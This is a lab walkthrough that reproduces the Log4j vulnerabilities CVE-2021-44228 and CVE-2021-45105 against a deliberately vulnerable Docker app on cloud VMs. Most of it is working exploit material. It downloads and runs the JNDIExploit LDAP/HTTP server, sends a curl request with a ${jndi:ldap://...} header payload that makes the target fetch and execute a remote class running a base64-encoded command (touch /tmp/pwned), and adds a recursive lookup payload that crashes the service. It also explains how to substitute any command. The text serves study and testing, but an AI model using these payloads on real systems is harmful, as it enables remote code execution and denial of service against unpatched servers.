- Anywhere that with ability to access the HTTP Server with
curlcommand line
- Amazon Linux 2 (x86 based) EC2 Instance / CentOS Azure Virtual Machine
$ yum install docker -y
$ systemctl enable docker
$ systemctl start docker
$ docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app- SSH Console output
- Amazon Linux 2 (x86 based) EC2 Instance
$ yum install java-11-amazon-corretto.x86_64 -y
# Azure for java-1.7.0-openjdk-1.7.0.261-2.6.22.2.el7_8.x86_64
$ wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ unzip JNDIExploit.v1.2.zip
# Indicate the service endpoint as the EC2 private ip from metadata
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i $(curl -s http://169.254.169.254/latest/meta-data/local-ipv4) -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...- CentOS Azure Virtual Machine
$ wget https://corretto.aws/downloads/latest/amazon-corretto-11-x64-linux-jdk.rpm
$ yum install amazon-corretto-11-x64-linux-jdk.rpm -y
$ wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ unzip JNDIExploit.v1.2.zip
# Indicate the service endpoint as the private ip from metadata
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i $(curl -sH Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/?api-version=2021-02-01" | awk -F '[:,"]' '{print $5}') -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...- SSH Console output
The Server will return Hello World!, when Client sending the request properly with X-Api-Version header. Otherwise, the client would get the 400 HTTP error as bad request.
- Client
$ curl SERVER_IP:8080 -H 'X-Api-Version: 1.1'
Hello, world!
$ curl SERVER_IP:8080
{"timestamp":"2021-12-22T02:44:43.103+00:00","status":400,"error":"Bad Request","path":"/"}
- Server Log
# Requests with the header properly
2021-12-22 02:44:40.920 INFO 1 --- [nio-8080-exec-3] HelloWorld : Received a request for API version 1
It's Hello from System.out.
# Reqeusts without the right input
2021-12-22 02:44:43.102 WARN 1 --- [nio-8080-exec-5] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header 'X-Api-Version' for method parameter type String is not present]
Now we gonna to send the injection request with header 'X-Api-Version: ${jndi:ldap://10.0.1.164:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}', which would trigger the CVE-2021-44228 to execute the JNDI lookup to access with ldap, and preform the RCE.
The dG91Y2ggL3RtcC9wd25lZAo=} is base64 encoded from linux command line touch /tmp/pwned. Once the RCE achieved, it would create a file in the vulnerable app.
You can also change the behavior by replacing the base64 string with https://www.base64encode.org/.
- Client
# Send the request with injection
$ curl SERVER_IP:8080 -H 'X-Api-Version: ${jndi:ldap://JNDI_EXPLOIT_IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Hello, world!
- Server Log
2021-12-22 03:04:07,042 http-nio-8080-exec-6 WARN Error looking up JNDI resource [ldap://10.0.1.164:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: ExploitxM5KqZop9U cannot be cast to javax.naming.spi.ObjectFactory]; remaining name '"Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo="'
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...
# Receive the injection and redirect it to the JNDI Exploit Server we indicated in the request
2021-12-22 03:04:06.567 INFO 1 --- [nio-8080-exec-6] HelloWorld : Received a request for API version ${jndi:ldap://JNDI_EXPLOIT_IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}
- JNDI Exploit
# Get the LDAP Lookup from server vulnerable app
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=
[+] Paylaod: command
[+] Command: touch /tmp/pwned
# Send back the encoded string back to vulnerable app, let the app execute the command in base64
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= redirecting to http://10.0.1.164:8888/ExploitxM5KqZop9U.class
[+] New HTTP Request From /10.0.1.200:33250 /ExploitxM5KqZop9U.class
[+] Receive ClassRequest: ExploitxM5KqZop9U.class
[+] Response Code: 200
- Validate the RCE result in vulnerable app in Server
# Get the Container ID of vulnerable app in Server
$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a4b14c4adb6c vulnerable-app "java -jar /app/spri…" About an hour ago Up About an hour 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp vulnerable-app
# List the /tmp folder before the injection
$ docker exec -i -t a4b14c4adb6c ls -l /tmp/
total 0
drwxr-xr-x 2 root root 15 Dec 22 02:34 hsperfdata_root
drwx------ 2 root root 6 Dec 22 01:34 tomcat-docbase.8080.228050961485794229
drwx------ 3 root root 18 Dec 22 01:34 tomcat.8080.4816494392465116780
# Confirm the RCE achieved bt injection request
$ docker exec -i -t a4b14c4adb6c ls -l /tmp/
total 0
drwxr-xr-x 2 root root 15 Dec 22 02:34 hsperfdata_root
-rw-r--r-- 1 root root 0 Dec 22 03:04 pwned # RCE achieved
drwx------ 2 root root 6 Dec 22 01:34 tomcat-docbase.8080.228050961485794229
drwx------ 3 root root 18 Dec 22 01:34 tomcat.8080.4816494392465116780
Log4j2 versions 2.0-alpha1 through 2.16.0, excluding 2.12.3, didn't protect from uncontrolled recursion from self-referential lookups. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process. - Description fro CVE-2021-45105, Apache
Now we can input the Thread Context Map with StrSubstitutor class ${${::-${::-$${::-j}}}} to let the application crash due to infinit recursion error.
- Client
# Send the request with injection
$ curl SERVER_IP:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'
Hello, world!
- Server Log
2021-12-22 03:42:38,614 http-nio-8080-exec-2 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-$}}: :
...
...
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:748)